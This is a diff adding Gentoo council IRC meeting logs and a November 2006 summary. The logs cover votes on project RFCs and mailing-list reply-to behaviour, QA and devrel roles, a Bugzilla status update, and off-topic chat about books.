+[22:45] <wolf31o2|mobile> robbat2 and KingTaco covered infra... kloeri covered devrel... and portage has improved....
+[22:45] <Kugelfang> wolf31o2|mobile: so next point?
+[22:45] <wolf31o2|mobile> trustees are kinda waiting on the votes, last I knew... I haven't seen much activity, but I also keep forgetting to join the stupid invite-only channel
+[22:45] <Flameeyes> gentoo/freebsd should be pretty covered by me and roy on planet :P
+[22:45] <wolf31o2|mobile> ;]
+[22:46] <Kugelfang> wolf31o2|mobile: design phase?
+[22:46] <wolf31o2|mobile> Kugelfang: go for it
+[22:46] <Kugelfang> ah, one thing re inter-project commonication still
+[22:46] <Kugelfang> can we put the council summary on planet.g.o?
+[22:46] <wolf31o2|mobile> I don't see why not... might be a good place for it
+[22:46] <Kugelfang> with a link to the log?
+[22:47] <Kugelfang> do we need a vote? :-P
+[22:47] <wolf31o2|mobile> how about we just ask if anyone objects?
+[22:47] <wolf31o2|mobile> heh
+[22:48] * kingtaco|laptop objects to people who object
+[22:48] <robbat2> yeah, planet sounds good
+[22:48] <kloeri> that reminds me.. some users told me that they were kind of afraid interrupting on -dev ML so they'd be quite happy to see meeting announcements and possibly even logs on forums.g.o
+[22:48] <Flameeyes> who can handle the publishing of the summary then?
+[22:48] <Kugelfang> Flameeyes: i'll poke beandog :-)
+[22:48] <Flameeyes> I can do the log, alright, but I'm not good at summarising
+[22:48] <kloeri> forums sucks for discussion but we could easily announce our meetings at least
+[22:48] <wolf31o2|mobile> yeah
+[22:49] * Kugelfang volunteers for both forums announcement and summary and planet
+[22:49] <wolf31o2|mobile> sold!
+[22:49] <Kugelfang> both?
+[22:49] <Kugelfang> s/both/
+[22:49] <kloeri> this meeting was actually announced on forums btw
+[22:49] <kloeri> yeah, both
+[22:50] <Kugelfang> :-)
+[22:50] <Flameeyes> next item?
+[22:52] <Kugelfang> mandatory design phase for projects
+[22:52] <robbat2> i think some folk might object to the term mandatory ;-)
+[22:52] <Flameeyes> I think wolf did a pretty good speech about this on his mail
+[22:53] <kloeri> I think requiring a design phase is a good idea (even if it's very short for some projects)
+[22:53] <Kugelfang> robbat2: hm... probably the wrong word... lemme check the dictionary :_)
+[22:53] <Kugelfang> no, i meant mandatory
+[22:54] <robbat2> call them project proposals instead maybe
+[22:54] <Flameeyes> robbat2, I'd avoid the word "proposal"
+[22:54] * Flameeyes points at the bad gleps fame
+[22:54] <Kugelfang> no GLEP
+[22:54] <wolf31o2|mobile> Really, it should be something along the lines of a RFC being posted.
+[22:54] <wolf31o2|mobile> It should list the project's intended goal, and how they plan on getting
+[22:54] <wolf31o2|mobile> there.  This is mostly to solve the problems that can occur when a new
+[22:54] <wolf31o2|mobile> project forms and they say what they plan on doing without any knowledge
+[22:54] <wolf31o2|mobile> being passed of how they plan on getting there.
+[22:54] <wolf31o2|mobile> Essentially, it needs 3 things:
+[22:54] <wolf31o2|mobile> 1. goal(s)
+[22:54] <wolf31o2|mobile> 2. plan - how do they achieve #1?
+[22:54] <wolf31o2|mobile> 3. resources - do they need infra? money?
+[22:54] <Flameeyes> Kugelfang, indeed.. the problem is that "proposal" resembles too much gelp ;)
+[22:54] <wolf31o2|mobile> ^^^ from the email nobody but us read... :P
+[22:55] <kloeri> wolf31o2|mobile: yeah, I'd definitely agree with that
+[22:55] <Kugelfang> dito here
+[22:55] <Flameeyes> ibid
+[22:55] <robbat2> yup, that's it. maybe even reuse the RFC name in some way?
+[22:55] <robbat2> request for comments does describe what it needs to be
+[22:56] <kloeri> agreed
+[22:57] <wolf31o2|mobile> honestly, that info could even be on their project page... though the point was to discuss before the project is built... the idea here is not to disallow projects to be formed, or even to allow blocking a project... but just to convey information to other people so you don't have people (like I do) freaking out any time there's a new project that sounds like suddenly someone (like releng) is going to have to do a lot more wo
+[22:57] <wolf31o2|mobile> rk when they really don't, at all
+[22:57] <Flameeyes> what does the thesaurus say wrt proposal?
+[22:57] <Kugelfang> New projects need to post an RFC containing information about their goals, the plan on how to implement their goals and the necessary resources to -core prior to creating the project
+[22:57] <Kugelfang> ^^^???
+[22:57] <Flameeyes> s/-core/-dev/
+[22:57] <wolf31o2|mobile> Kugelfang: sounds succinct and to-the-point... vote?
+[22:57] <wolf31o2|mobile> yeah, -dev
+[22:58] <Kugelfang> hm, -dev then
+[22:58] <robbat2> vote (i'm counting): "New projects need to post an RFC containing information about their goals, the plan on how to implement their goals and the necessary resources to -dev prior to creating the project"
+[22:58] <Kugelfang> vote: New projects need to post an RFC containing information about their goals, the plan on how to implement their goals and the necessary resources to -dev prior to creating the project
+[22:58] * Kugelfang votes yes
+[22:58] <wolf31o2|mobile> heh
+[22:58] <Flameeyes> vote: yes
+[22:58] <wolf31o2|mobile> yes
+[22:58] <robbat2> yes
+[22:58] <kloeri> yes
+[22:58] <Flameeyes> kingtaco, vapier?
+[22:58] <kingtaco|laptop> yes
+[22:59] * Flameeyes wonders if "kingtaco, vapier" could have been replaced with "mikes?"
+[22:59] <kingtaco|laptop> he's an impostor
+[23:00] <Kugelfang> vote: cyborg vapier and force him to monitor this channel for eternity
+[23:00] <Flameeyes> vote: yes (if you also cyborg me)
+[23:00] <Kugelfang> no way, i just got one ki
+[23:00] <Kugelfang> t
+[23:01] <robbat2> vapier, ping
+[23:01] <Kugelfang> vapier: your vote?
+[23:01] <kloeri> the slacker rule should also count when vapier falls asleep :)
+[23:01] <Kugelfang> hehehe
+[23:02] <Flameeyes> we can say the request passes with 6 yes and 1 absent? :P
+[23:02] <kingtaco|laptop> only takes 4
+[23:02] <wolf31o2|mobile> one abstained... heh
+[23:02] <wolf31o2|mobile> what else do we have? I've got a meeting?
+[23:02] <Kugelfang> unless he votes later during the meeting
+[23:02] <Flameeyes> wolf31o2|mobile, do you have one?
+[23:02] <wolf31o2|mobile> err... no ? on the second one
+[23:02] <wolf31o2|mobile> have one what?
+[23:02] <Flameeyes> wolf31o2|mobile, meeting
+[23:03] <Flameeyes> anyway, next item on your agenda was about devrel
+[23:03] <wolf31o2|mobile> yeah
+[23:03] <Flameeyes> kloeri?
+[23:03] <wolf31o2|mobile> go for it
+[23:03] <kloeri> hmm?
+[23:03] <wolf31o2|mobile> I'll bbiab
+[23:03] <Flameeyes> kloeri, it was the etiquette thing mostly
+[23:03] <kloeri> ahh, yeah
+[23:04] <kloeri> devrel needs to figure out how to be more proactive about issues such as etiquette etc.
+[23:04] <kloeri> there's a couple things we need to figure out really
+[23:04] <Flameeyes> kloeri, should we take it as "you're working on it" (seeing the status update above) and wait for the next month to address that?
+[23:05] <kloeri> actually, I'd like to hear some ideas about which areas we should try to attack
+[23:05] <Kugelfang> kloeri: there is still kingtaco's proposal of silencing subscriber to -dev for a small amount of time
+[23:05] <Kugelfang> kloeri: which i back :-)
+[23:05] <kloeri> yeah but there's a lot of different issues we could attack really
+[23:06] <kloeri> like devs bickering about useless crap like top posting, devs going at each others throat in #-dev etc.
+[23:06] <kloeri> and we definitely got an issue with manpower if we need to do much about any of that
+[23:06] <wolf31o2|mobile> heh... back
+[23:06] <Kugelfang> wolf31o2|mobile: that was quick
+[23:06] <wolf31o2|mobile> I'm just good like that
+[23:06] <kloeri> so my biggest concern is where we should spend our limited ressources
+[23:07] <kloeri> I'll be having a meeting with the rest of devrel about this but ideas and suggestions are certainly welcome :)
+[23:07] <kloeri> other than that we should get back to it next month I think
+[23:08] <Kugelfang> *nod*
+[23:08] <wolf31o2|mobile> well... my main concern really was people who consistently break QA, which means it would be a joint thing... now, these people don't necessarily need "punishment" so much as we need to fix the problem, which is bad things making it into the tree
+[23:08] <Kugelfang> as far as i know, QA go a t list of people
+[23:09] <Flameeyes> wolf31o2|mobile, we still need qa to complete the policy, though
+[23:09] <kloeri> people breaking QA should be handled by the QA project imo
+[23:09] <Kugelfang> for know there are two people on it, who i won't name in here
+[23:09] <Flameeyes> there are still shady points that needs to be addressed
+[23:09] <wolf31o2|mobile> kloeri: and that's fine... then what powers, if any, do QA need to fulfill that role? do they just give people the virtual smackdown, and if it keeps up they file devrel bugs?
+[23:09] <kloeri> and if things gets out of hand devrel is happy to help but a warning (or some friendly advice) from QA should be enough in most cases
+[23:10] <kloeri> yes, that's what I'm thinking at least
+[23:10] <kingtaco|laptop> wolf31o2|mobile, no "powers" needed
+[23:10] <kingtaco|laptop> just teamwork
+[23:10] <robbat2> one comment on the QA side (partially in regards to patrick)
+[23:10] <kloeri> I've been discussing this with spb on a few occasions and I think he's happy about that arrangement as well
+[23:10] <wolf31o2|mobile> yeah, that's fine
+[23:10] <wolf31o2|mobile> that was really my question... do they "escalate" it to devrel once it's a real problem
+[23:10] <kingtaco|laptop> QA should be able to ask devrel for help in that department if the other QA stuff has failed first
+[23:11] <robbat2> anybody should be able to file QA issues, and for the most part, any dev that feels motivated should be able to fix them
+[23:11] <Kugelfang> 1rtt is already implemented
+[23:11] <kingtaco|laptop> and devrel should do what QA needs
+[23:11] <Kugelfang> robbat2: see the QAcanfix keyword
+[23:11] <wolf31o2|mobile> So do we (we being all developers) need to send information about QA violations to the QA team?
+[23:11] <kingtaco|laptop> they need to nail down a policy
+[23:11] <Kugelfang> robbat2: besides... whenever i saw i QA bug i could fix, i did
+[23:11] <kingtaco|laptop> where is sbp
+[23:11] <wolf31o2|mobile> specifically things that aren't being addressed
+[23:12] <Kugelfang> robbat2: hadn arrangement with jakub on that :-)
+[23:12] <Flameeyes> kingtaco|laptop, who's sbp? :P
+[23:12] *** kingtaco|laptop gives spb the permission to talk.
+[23:12] <Flameeyes> the one for firewire access?
+[23:12] <kingtaco|laptop> spb, any news on QA?
+[23:12] <robbat2> patrick said he wanted to join QA, but there was no lead - so the logical course should have been for him to file bugs to QA
+[23:12] <Kugelfang> robbat2: wrong
+[23:13] <kloeri> I think common sense should rule tbh - if you see some horrific QA violation you should probably contact QA about it
+[23:13] <Kugelfang> robbat2: patrick as to join QA, and the QA lead said:'QA recrutieuits from activtive evuild devs'
+[23:13] <Kugelfang> damn lag
+[23:13] <kloeri> Kugelfang: without all the typos though :)
+[23:13] <Kugelfang> 'QA recruits from active ebuild devs'
+[23:14] <Kugelfang> robbat2: as patrick as neither active nor an build dev, he didn't qaulify
+[23:14] <Kugelfang> qualify
+[23:14] <robbat2> there no reason that you can't have a non-dev checking ebuilds for specific problems
+[23:14] <Kugelfang> robbat2: true... still doesn't warant membership in QA project
+[23:14] <Kugelfang> robbat2: users file bugs, too
+[23:15] <kloeri> QA is also about fixing problems, writing up policy etc. which really should be left to ebuild devs imo
+[23:15] <robbat2> on the side of finding problems, some dedicated searchers could fill a similar slot as arch-testers
+[23:15] <Flameeyes> qa-testers?
+[23:16] <Kugelfang> that sounds.... odd
+[23:16] <Kugelfang> robbat2: i guess that's up to how qa wants to handl eit :-)
+[23:16] <robbat2> i got invited to joined Gentoo, because I filed a whack of bugs on use.desc being out of sync with the tree
+[23:17] <Kugelfang> back in 5 mins
+[23:17] <wolf31o2|mobile> k
+[23:17] <robbat2> i need to bail in about 10 myself
+[23:18] <wolf31o2|mobile> yeah, we're over on time... what else was on the agenda?
+[23:18] <robbat2> spb: not sure if you are here, but you could please consider a well-defined way for users to bring various QA issues to the attension of the QA team
+[23:18] <robbat2> wolf31o2, err, anything else on your list, else it's open floor
+[23:18] <Kugelfang> back already
+[23:18] <Kugelfang> robbat2: in contrast to filing bugs?
+[23:18] <kloeri> QA is kinda special in that a lot of stuff they're doing (or at least supposed to do) require fairly intricate ebuild knowledge as they're overseeing the work of all the other ebuild devs
+[23:18] <-- thunder has left this server (Client Quit).
+[23:18] <wolf31o2|mobile> can we hold off on the other and perhaps schedule another meeting in $short_amount_of_time to cover it, then open the floor?
+[23:19] <Kugelfang> wolf31o2|mobile: like, next week?
+[23:19] <wolf31o2|mobile> sure... though looking over... everything else was the devrel/qa stuff
+[23:19] <wolf31o2|mobile> so there's not really another topic
+[23:19] <wolf31o2|mobile> just this one, which I think could be discussed quite a bit
+[23:19] <wolf31o2|mobile> heh
+[23:19] <kingtaco|laptop> Kugelfang, I'm out of time until after the 26th
+[23:19] <Kugelfang> wolf31o2|mobile: there is a GLEP in the works by malverian :-)
+[23:20] <Kugelfang> kingtaco|laptop: ah, ok
+[23:20] <Flameeyes> so let's reschedule for next month the rest of stuff about qa/devrel ?
+[23:20] <robbat2> kloeri, while you may need to be an experience ebuild writer to find some of the really weird stuff, that doesn't user-level can't spot some basic mistakes
+[23:20] <Kugelfang> robbat2: again, what does it need else but bugs.g.o.?
+[23:20] <Kugelfang> robbat2: people file bugs, and jakub assign stuff to qa
+[23:20] <Kugelfang> robbat2: i'm watching the QA alias, and this works pretty well
+[23:21] <kloeri> robbat2: not saying you couldn't have some "QA-lite" team, just noting that we have no such team now and I'm not sure if QA would really want to go that way
+[23:21] <wolf31o2|mobile> Flameeyes: I say yes
+[23:21] <Flameeyes> agreed then
+[23:21] <wolf31o2|mobile> well... I tend to think that QA has their hands full... what they need most is helping hands fixing stuff, I would guess
+[23:21] <Flameeyes> if nobody object, that is
+[23:21] <wolf31o2|mobile> anyway... let's say we hold off on this until next time, and open the floor?
+[23:21] <Kugelfang> i agree
+[23:22] <robbat2> i'm not sure about my schedule for next week, but i'll see anyway
+[23:22] *** You set the channel mode to 'unmoderated'.
+[23:22] <kloeri> rescheduling for next month is fine
+[23:22] <wolf31o2|mobile> k
+[23:22] <Flameeyes> open floor then
+[23:22] <Kugelfang> Flameeyes: you got a log to send to me?
+[23:22] <kloeri> I'm at the UK linuxawards / linuxexpo wednesday and thursday next week so more or less completely offline I guess
+[23:22] <Kugelfang> Flameeyes: so i can summarise :-)
+[23:23] <Flameeyes> Kugelfang, I'd wait till the end of the openfloor, but if you want it now, I can
+[23:23] <Kugelfang> please do so
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20061109-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20061109-summary.txt
new file mode 100644
index 00000000..45669acf
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20061109-summary.txt
@@ -0,0 +1,33 @@
+Agenda was:
+1. Reply-to-list
+2. SPF
+3. QA update / plans
+4. Bugzilla status
+
+1. Council decided that there were no need to change mailinglist behaviour
+regarding reply-to-list. Bryan �stergaard (kloeri) mentioned that a
+replytolist plugin for thunderbird-2 had just been committed the day
+before. Bryan will update the handbook to include information on
+procmail recipes to change reply-to behaviour on an individual basis.
+Bug 154595 tracks progress of this update.
+
+2. Council decided that Infra needs to document use of third party smtp
+servers and usage of dev.gentoo.org SMTP server. Bug 154594 tracks this
+issue.
+
+3. Bryan �stergaard gave a short update on QA team on behalf of Stephen
+Bennett (spb). Plans currently include:
+- Documenting EAPI-0 and PMS (Package Manager Standard)
+- Doing more automated QA checks.
+- Implementing GLEP 48 (see http://glep.gentoo.org/glep-0048.html)
+- Working out what each QA team member wants to work on.
+
+4. Robin Johnson (robbat2) gave a quick status update on bugzilla. The
+load-balanced mysql is working very well now but there's still some
+webserver tuning that needs to be done. There's no timeframe as such as
+there might still be unexpected issues cropping up.
+
+Open floor discussion:
+Torsten Veller asked if there was any news on portage tree signing.
+Robin Johnson said there was no news as he'd spend all his time working
+on new bugzilla setup and anonymous cvs.
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20061109.txt b/xml/htdocs/proj/en/council/meeting-logs/20061109.txt
new file mode 100644
index 00000000..6d58baa4
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20061109.txt
@@ -0,0 +1,567 @@
+[14:36] <agaffney> 25 minutes?
+[14:37] <Flameeyes> 24
+[14:37] <kingtaco|laptop> 29 here
+[14:37] <Kugelfang> 24
+[14:37] <agaffney> kingtaco|laptop: *cough* ntp *cough*
+[14:37] <Kugelfang> kingtaco|laptop: fix our hwclock :-P
+[14:38] <agaffney> can someone +v me since I'll be speaking for chris today?
+[14:38] <kingtaco|laptop> heh, guess I'm going to be 5 minutes late :)
+[14:38] --- kingtaco|laptop sets modes [#gentoo-council +v agaffney]
+[14:38] --- Kugelfang sets modes [#gentoo-council +o agaffney]
+[14:38] <agaffney> Kugelfang: that works too :P
+[14:38] <Kugelfang> he's replacement for today, so he should be opped
+[14:38] <kingtaco|laptop> hah
+[14:38] <kingtaco|laptop> fine
+[14:39] <agaffney> what is on the agenda?
+[14:39] --- Flameeyes sets modes [#gentoo-council +v wolf31o2]
+[14:39] <agaffney> just reply-to and SPF?
+[14:39] --- Flameeyes sets modes [#gentoo-council -o wolf31o2]
+[14:39] <Flameeyes> then we need to downgrade wolf :P
+[14:39] <agaffney> hah
+[14:39] <agaffney> owned
+[14:39] <kingtaco|laptop> agaffney, and QA
+[14:39] <kloeri> update on qa plans
+[14:39] * Kugelfang hrms
+[14:39] <Kugelfang> spb: are you available?
+[14:39] <kingtaco|laptop> there will b e a bugs update too
+[14:39] <Flameeyes> anybody heard from curtis in the last months btw?
+[14:39] <Kugelfang> nope
+[14:40] <agaffney> Flameeyes: not that I'm aware of
+[14:40] * Flameeyes sighs
+[14:40] <kloeri> Flameeyes: nope, a few people are trying to track him down though
+[14:40] <agaffney> he seems to have completely disappeared 6+ weeks ago
+[14:40] <agaffney> his IRC session was idle for 3+ weeks before it got disconnected
+[14:40] <agaffney> and he's not been back
+[14:40] <agaffney> not responding to email
+[14:40] <agaffney> he's probably in a ditch somewhere :/
+[14:40] <Flameeyes> kloeri, what about giving RFID tags to developers?
+[14:40] <agaffney> heh
+[14:40] <kloeri> amne and christel are both doing what they can to find out what's up
+[14:40] <kingtaco|laptop> agaffney, someone in devrel has his phone number
+[14:40] <agaffney> like they do with dogs? :P
+[14:41] <agaffney> kingtaco|laptop: have they tried to call him?
+[14:41] <kingtaco|laptop> Flameeyes, 1984
+[14:41] <kingtaco|laptop> agaffney, probably... they are concerned where he went
+[14:41] <kloeri> Flameeyes: good idea.. and a few satelites sensitive enough to read the tags :p
+[14:41] <Flameeyes> kingtaco|laptop, that's older than me
+[14:41] <kloeri> agaffney: don't think anybody have his number
+[14:41] <kingtaco|laptop> Flameeyes, really???
+[14:41] <Flameeyes> kloeri, yes, use foundation's money for that ;)
+[14:41] <kingtaco|laptop> Flameeyes, god, I feel old then
+[14:42] <kloeri> kingtaco|laptop: afaik, yes
+[14:42] <Flameeyes> kingtaco|laptop, yeah, I'll be 21 at the end of the month :P
+[14:42] * kingtaco|laptop checks into an old folks home
+[14:43] * agaffney was born in '84
+[14:43] * Kugelfang is getting 24 start of next month..
+[14:43] <kingtaco|laptop> hahah
+[14:43] * agaffney is 22 for anyone too lazy to do the math :P
+[14:44] <Flameeyes> so I suppose that asking for news about the redesign this month is basically pointless
+[14:44] <kingtaco|laptop> Flameeyes, absolutly pointless
+[14:44] <kingtaco|laptop> I don't have any idea about it and I doubt robbat2|na does
+[14:45] * kloeri will be 32 at the end of the month
+[14:45] <Kugelfang> OOOLD!
+[14:45] <kingtaco|laptop> kloeri, I'll put your name on the list for the old folks home
+[14:45] <kloeri> heh
+[14:45] <kloeri> kingtaco|laptop: thanks, I can hardly manage writing my name anymore due to old age :)
+[14:46] <kingtaco|laptop> kloeri, I'm suprised you're not in adult dipers yet
+[14:46] <kingtaco|laptop> I mean 32
+[14:46] <kingtaco|laptop> jeez
+[14:46] <kingtaco|laptop> :p
+[14:46] <kloeri> can't figure out how they work.. I'm not really that technically minded :p
+[14:46] <kloeri> tricky stuff, those adult diapers
+[14:47] <kingtaco|laptop> I'm pretty sure they work the same as other diapers...
+[14:47] <kingtaco|laptop> I mean, how many possible ways are there....
+[14:47] <kingtaco|laptop> hahah, gentoo has surely gone down the toilet today
+[14:47] <agaffney> today? :P
+[14:48] <kingtaco|laptop> hehe
+[14:48] <SpanKY> i just read that book, was pretty good
+[14:48] <SpanKY> that and Fahrenheit 451
+[14:48] <kingtaco|laptop> which, 1984?
+[14:48] <Flameeyes> SpanKY, "Gone down the toilet"?
+[14:48] <kingtaco|laptop> ah
+[14:48] <kingtaco|laptop> both are very good books
+[14:48] <Flameeyes> SpanKY, yeah fahrenheit 451 is a great book
+[14:48] <kingtaco|laptop> SpanKY, you should try to find a copy of "brave new world"
+[14:49] <kingtaco|laptop> that's another fun classic
+[14:49] <Kugelfang> Fahrenheit 451 is cool
+[14:49] <wolf31o2> heh
+[14:49] <Flameeyes> wolf31o2, what are you doing here? :P weren't you away? :P
+[14:50] --- robbat2|na is now known as robbat2
+[14:50] <wolf31o2> Flameeyes: no... I'm *leaving* in like 5-10 minutes for my CISSP classes...
+[14:50] <Flameeyes> wolf31o2, I'm afraid to ask what CISSP is
+[14:50] <wolf31o2> which is why I appointed a proxy... since I know I won't be here for the whole meeting
+[14:50] <SpanKY> i just pick random books from here to read: http://books.google.com/googlebooks/banned/
+[14:50] <wolf31o2> Certified Information Systems Security Professional
+[14:50] <kingtaco|laptop> hahah
+[14:51] <agaffney> SpanKY: both are good books. the movie for F451 was *horrible* :P
+[14:51] <robbat2> morning
+[14:51] --> vorlon078 (n=vorlon@gentoo/developer/vorlon) has joined #gentoo-council
+[14:51] <Flameeyes> agaffney, like almost every movie coming from a book
+[14:51] <agaffney> Flameeyes: well, it was even worse because it was the 70s and british :P
+[14:52] <agaffney> it was so bad it was comical
+[14:52] <Flameeyes> agaffney, the only thing I liked, taken from a book, was the Dune mini-series
+[14:52] <kingtaco|laptop> heh, I've read most of those books
+[14:52] <Flameeyes> not the '80s film with sting of course
+[14:52] <agaffney> Flameeyes: the 2000 Dune mini-series kicked serious ass
+[14:52] <agaffney> the original Dune movie sucked goat nuts
+[14:52] <Flameeyes> agaffney, yeah
+[14:53] <agaffney> and oddly, I've got the first Dune book on my desk right now :P
+[14:53] <Flameeyes> I still have to watch the children of dune mini-series
+[14:53] <agaffney> reading through the series for the 4th or 5th time
+[14:53] <Kugelfang> agaffney: i got them all in german and in english
+[14:53] <agaffney> Flameeyes: I caught part of it, but it wasn't very good
+[14:53] <Kugelfang> agaffney: and the english one, i got as hardcover and pocketbooks
+[14:53] <Flameeyes> I have the original dune books in the shelf at my left
+[14:53] <agaffney> SciFi spent their entire year's movie budget on the Dune miniseries
+[14:53] <Flameeyes> wow that's a lot
+[14:53] <agaffney> and it was well worth it
+[14:53] <Kugelfang> well spent
+[14:53] <agaffney> *damn* good
+[14:53] <agaffney> for children of dune, they did it like any other mini-series
+[14:54] <Flameeyes> -7
+[14:54] * agaffney will probably stop reading after book 4 or 5 this time
+[14:54] <Flameeyes> I should try to look for herber's son's books... but I doubt they'll be at the same level of the father's
+[14:54] <Kugelfang> it's just sad that herbert didn't finish the last part
+[14:55] <Kugelfang> Flameeyes: they aren't
+[14:55] <agaffney> God Emperor is really the last good book
+[14:55] <agaffney> didn't his son write a book on the Butlerian Jihad?
+[14:55] <Kugelfang> Flameeyes: i got them all, and i only read them once
+[14:55] <Kugelfang> agaffney: 6 books
+[14:55] <agaffney> o_O
+[14:55] <Kugelfang> agaffney: 6 prequels to Dune
+[14:55] <Flameeyes> Kugelfang, well, lately I haven't been able to re-read any book :| got a lot of new ones to read
+[14:55] <agaffney> I need to get some new ones
+[14:55] <Kugelfang> agaffney: 3 short before dune, 3 in the time of Butler's Jihad
+[14:56] <agaffney> I keep re-reading Dune, Wheel of Time, and Harry Potter series :P
+[14:56] <SpanKY> i should read a clockwork orange
+[14:56] <SpanKY> i lubz the book
+[14:56] <SpanKY> agaffney: why would you re-read wheel of time ... once was painful enough
+[14:56] <Flameeyes> agaffney, you fell with the third title :P
+[14:56] * Flameeyes still has to finish the eye of the world
+[14:56] <kingtaco|laptop> of mice and men
+[14:56] <agaffney> SpanKY: because eventually they'll get to the last battle :P
+[14:56] <kingtaco|laptop> I can't believe that's banned
+[14:56] <kingtaco|laptop> I red that in 4th grade or something
+[14:56] <kingtaco|laptop> *read
+[14:57] <agaffney> apparently it was instead of learning how to spell ;)
+[14:57] <Flameeyes> kingtaco|laptop, for non-usians what's 4th grade? :P
+[14:57] <kingtaco|laptop> Flameeyes, I was 8
+[14:57] <agaffney> Flameeyes: 9-10 years old
+[14:57] <Flameeyes> kingtaco|laptop, okay :)
+[14:57] * agaffney runs to refill his water bottle
+[14:57] <kingtaco|laptop> banned for "vulgarity"
+[14:58] <kingtaco|laptop> I think it has the word "damn" in it
+[14:58] <kingtaco|laptop> ZOMG!!1111
+[14:59] --> marienz (i=marienz@gentoo/developer/marienz) has joined #gentoo-council
+[14:59] --> nightmorph|amd64 (n=nightmor@gentoo/developer/nightmorph) has joined #gentoo-council
+[14:59] --> AllanonJL|W (n=allanonl@gentoo/developer/allanonjl) has joined #gentoo-council
+[15:01] --> bonsaikitten (n=pal@gentoo/user/bonsaikitten) has joined #gentoo-council
+[15:01] <kingtaco|laptop> ok, we starting this shindig?
+[15:01] --- kingtaco|laptop sets modes [#gentoo-council +m]
+[15:02] <Kugelfang> sure
+[15:02] <Flameeyes> ready to rumble
+[15:02] <kingtaco|laptop> ok, whos the logger this month?
+[15:02] <kloeri> me?
+[15:02] <Kugelfang> i propose kloeri
+[15:02] <kingtaco|laptop> ok
+[15:02] <kingtaco|laptop> done
+[15:02] <robbat2> ok
+[15:02] <kingtaco|laptop> who's here
+[15:02] * Kugelfang 
+[15:02] * robbat2 robbat2
+[15:02] * agaffney raises his hand with his wolf31o2 mask on
+[15:02] * kingtaco|laptop kingtaco
+[15:03] * Flameeyes is here and is logging as usual
+[15:03] <Kugelfang> vapier: stop hiding
+[15:03] * kingtaco|laptop pokes spanky with a stick
+[15:03] <SpanKY> reading books
+[15:03] <kloeri> heh
+[15:03] <agaffney> he was just here :P
+[15:03] * agaffney throw his copy of Dune at SpanKY
+[15:03] <kingtaco|laptop> ok
+[15:03] <kingtaco|laptop> topics for today
+[15:03] <Kugelfang> so, let's discuss Reply-To and SPF first please
+[15:03] <kingtaco|laptop> 1.  spf
+[15:03] <kingtaco|laptop> 2.  reply-to
+[15:04] <kingtaco|laptop> 3. QA
+[15:04] <Kugelfang> i'd like to have reply-to first
+[15:04] <Kugelfang> if nobody objects
+[15:04] <kingtaco|laptop> 4.  bugs
+[15:04] <kingtaco|laptop> anytthing else?
+[15:04] <kingtaco|laptop> Kugelfang, sure
+[15:04] <Flameeyes> Kugelfang, start then
+[15:04] <kingtaco|laptop> aight
+[15:04] <kingtaco|laptop> Kugelfang, go for it
+[15:04] <Kugelfang> ok, Reply-TO:
+[15:05] <Kugelfang> some people want to switch -core ML to add a reply-to filed to the mail header
+[15:05] <Kugelfang> others just want to make all mailing lists show the same behaviour
+[15:05] <Kugelfang> i say: get a new mail client or use the procmail recipes that wolf posted to gentoo-dev ML
+[15:05] <kingtaco|laptop> my position is that it's been posted for both procmail and maildrop the way for a person to configure it to either preference
+[15:05] <Kugelfang> exactly
+[15:05] <kingtaco|laptop> I don't see any reason to change
+[15:06] <Kugelfang> this is why i want to immediately vote on this
+[15:06] <kingtaco|laptop> anyone else?
+[15:06] <kloeri> I just committed a reply-to-list plugin for thunderbird-2 yesterday
+[15:06] <kingtaco|laptop> and there you go
+[15:06] <Kugelfang> excellent
+[15:06] <kingtaco|laptop> yet another way
+[15:06] <agaffney> it would be nice for all the lists to behave the same, but the behavior can be changed with procmail
+[15:06] <Flameeyes> for me it's fine as it is, if the mail clients aren't good enough, just improve them
+[15:06] <Kugelfang> vote: DonÄ't change reply-to for gentoo-core or any other mailing list
+[15:06] <agaffney> so it's really a non-issue
+[15:06] <kloeri> so we're not touching thunderbird itself but still fixing the client :)
+[15:06] * Kugelfang votes yes
+[15:06] * kingtaco|laptop yes
+[15:06] * kloeri votes yes
+[15:06] * robbat2 yes
+[15:06] * Flameeyes yes
+[15:06] * agaffney yes
+[15:07] <SpanKY> umm clarify "dont change"
+[15:07] <Kugelfang> SpanKY: you'r elagging
+[15:07] <Flameeyes> SpanKY?
+[15:07] <kingtaco|laptop> SpanKY, no change
+[15:07] <Kugelfang> SpanKY: don't change from what it's currently doing
+[15:07] <SpanKY> "dont change existing behavior for any lists"
+[15:07] --> Falco (n=Falco@gentoo/developer/falco) has joined #gentoo-council
+[15:07] <kloeri> no header munging
+[15:07] <kingtaco|laptop> yea
+[15:07] <Kugelfang> precisely
+[15:07] <SpanKY> we're doing header munging now
+[15:07] <SpanKY> for all non-core lists
+[15:07] <kloeri> not on -core
+[15:07] <kloeri> yes
+[15:07] <Kugelfang> correct...
+[15:08] <Kugelfang> i think this is a non-issue
+[15:08] <SpanKY> so "dont change" could mean "dont set Reply-To on non-core lists"
+[15:08] <Kugelfang> no
+[15:08] <SpanKY> if you're going with "dont change existing behavior" then whatever, that's fine
+[15:08] <Flameeyes> don't change the behaviour from the current one
+[15:08] <kingtaco|laptop> on any list
+[15:08] <agaffney> SpanKY: "don't change" means "leave everything alone"
+[15:08] <Flameeyes> I'd suggest also to update the documentation on the dev handbook
+[15:08] <kingtaco|laptop> ok
+[15:08] <Flameeyes> so that new devs can see the way to change -core behaviour through procmail
+[15:08] <kingtaco|laptop> so we're not changing behavior
+[15:08] <SpanKY> seems lame that everything acts the same but one list, but ive personally never had a problem and i dont use rules
+[15:08] <Kugelfang> i'm sorry that my vote request was not precise
+[15:08] <Flameeyes> kloeri, devrel handles that?
+[15:09] <kloeri> Flameeyes: sure
+[15:09] <kingtaco|laptop> I would like one thing though, someone write up a doc explaining how to change it to your preference
+[15:09] <Flameeyes> kloeri, can you make it so? :)
+[15:09] <Kugelfang> ok, next try.
+[15:09] <Flameeyes> kingtaco|laptop, that's what I said :P
+[15:09] --> NeddySeagoon (n=NeddySea@gentoo/developer/NeddySeagoon) has joined #gentoo-council
+[15:09] <kloeri> I think I just volunteered..
+[15:09] <kingtaco|laptop> Flameeyes, ah, I missed that
+[15:09] <kingtaco|laptop> ok, next issue
+[15:09] <Flameeyes> kloeri, perfect
+[15:09] <Flameeyes> spf then
+[15:09] <kingtaco|laptop> Kugelfang, spf?
